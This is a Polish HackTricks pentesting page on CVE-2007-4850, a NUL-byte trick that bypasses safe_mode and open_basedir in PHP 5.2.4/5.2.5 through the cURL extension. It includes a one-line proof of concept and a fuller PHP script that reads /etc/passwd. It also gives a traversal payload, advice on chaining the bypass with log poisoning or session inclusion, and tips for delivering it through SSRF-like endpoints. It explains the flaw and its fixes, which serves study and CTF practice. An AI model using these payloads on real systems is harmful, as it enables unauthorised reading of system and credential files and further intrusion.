PHP 5.2.4 i 5.2.5 PHP cURL
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Ta strona dokumentuje przestarzały, lecz wciąż przydatny w CTFs i lokalnych starszych instalacjach trik umożliwiający obejście kontroli PHP safe_mode/open_basedir przy użyciu rozszerzenia cURL w wybranych kompilacjach PHP 5.2.x.
- Dotyczy: PHP 5.2.4 i 5.2.5 z włączonym ext/curl.
- Wpływ: Odczyt dowolnych lokalnych plików pomimo ograniczeń safe_mode lub open_basedir (brak bezpośredniego wykonania kodu).
- ID: CVE-2007-4850.
Źródło: http://blog.safebuff.com/2016/05/06/disable-functions-bypass/
Jednolinijkowy PoC
Jeśli safe_mode lub open_basedir są aktywne i cURL jest włączony, poniższe zwróci zawartość bieżącego skryptu:
var_dump(curl_exec(curl_init("file://safe_mode_bypass\x00".__FILE__)));
Bardziej szczegółowy PoC (arbitrary file read)
<?php
// Preconditions (legacy): PHP 5.2.4/5.2.5, safe_mode or open_basedir enabled, ext/curl loaded
$target = '/etc/passwd'; // change to the file you want to read
$ch = curl_init();
// The trick is the NUL byte (\x00). Prefix can be any string; checks are confused and the file after the NUL is read.
curl_setopt($ch, CURLOPT_URL, 'file://prefix'.chr(0).$target);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$resp = curl_exec($ch);
$err = curl_error($ch);
curl_close($ch);
if ($resp !== false) {
echo $resp; // should contain the target file
} else {
echo "cURL error: $err\n";
}
?>
Uwagi:
- Użyj podwójnych cudzysłowów lub chr(0), aby wstawić prawdziwy bajt NUL. Percent-encoding (%00) nie będzie działać niezawodnie.
- To jest prymityw do odczytu plików. Łącz z innymi prymitywami (log poisoning, session file inclusion, etc.) w celu dalszej eskalacji, gdy to możliwe.
Dlaczego to działa (krótko)
Luka leży w sposobie, w jaki PHP 5.2.4/5.2.5 wykonywał sprawdzenia safe_mode/open_basedir dla URL-i file:// w ext/curl. Sprawdzenie parsowało URL i weryfikowało komponent ścieżki, ale z powodu obsługi bajtów NUL walidator sprawdzał inny ciąg niż ten, którego faktycznie używał libcurl. W praktyce walidator mógł zatwierdzić ścieżkę po NUL, podczas gdy libcurl używał części przed NUL jako kontenera URL, co umożliwiało obejście skutkujące odczytem pliku umieszczonego po bajcie NUL. Zobacz oryginalną analizę i dotknięty makro w curl/interface.c po szczegóły. [CVE-2007-4850].
Ograniczenia i poprawki
- Naprawiono w późniejszych wydaniach 5.2.x (np. pakiety dystrybucji załatane do 5.2.6) poprzez poprawę parsowania/walidacji w ext/curl.
- Dotyczy tylko bardzo starych wdrożeń PHP; safe_mode został usunięty w PHP 5.4 i nowoczesne wydania nie wykazują tego zachowania.
Powiązane historyczne bypasses oparte na cURL
- CVE-2006-2563 (PHP 4.4.2/5.1.4): wrappery libcurl pozwalały na dostęp
file://z osadzonymi NUL-ami do obejścia open_basedir; naprawione przed 5.2.x. - PHP bugs #30609/#36223 śledziły wczesne problemy cURL z open_basedir używając
file://bez kanonizacji. Każda walidacja przed bajtem NUL lub bez rozwiązywania w stylurealpathjest podatna na to samo obcięcie.
Wskazówki CTF
- Gdy zidentyfikujesz PHP 5.2.4/5.2.5 z załadowanym ext/curl (szukaj
cURL support => enabledwphpinfo()i dokładnej wartościPHP Version), ten trik zazwyczaj działa nawet jeśliallow_url_fopenjest wyłączone, ponieważ ext/curl obsługujefile://samodzielnie. - Jeśli bezpośrednie ścieżki są zablokowane, spróbuj względnego traversal po NUL, np.
file://x\x00../../../../etc/passwd. Przechodzenie jest rozwiązywane przez libcurl, nie przez mechanizm open_basedir. - Możesz opakować payload w jedno ciało żądania HTTP, aby wywołać LFI przez podatny kod po stronie serwera, który wstawia sterowane przez użytkownika URL-e do
curl_exec()(częste w legacy SSRF-like endpoints).
Zobacz też
Other disable_functions/open_basedir bypasses and modern techniques are collected here:
Referencje
- Ubuntu CVE entry with patch pointers and affected versions
- Technical writeup with code context (cxsecurity)
- PHP bug #36223 (curl bypasses open_basedir)
- CVE-2006-2563 cURL PHP File Access Bypass (earlier NUL-byte issue)
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.


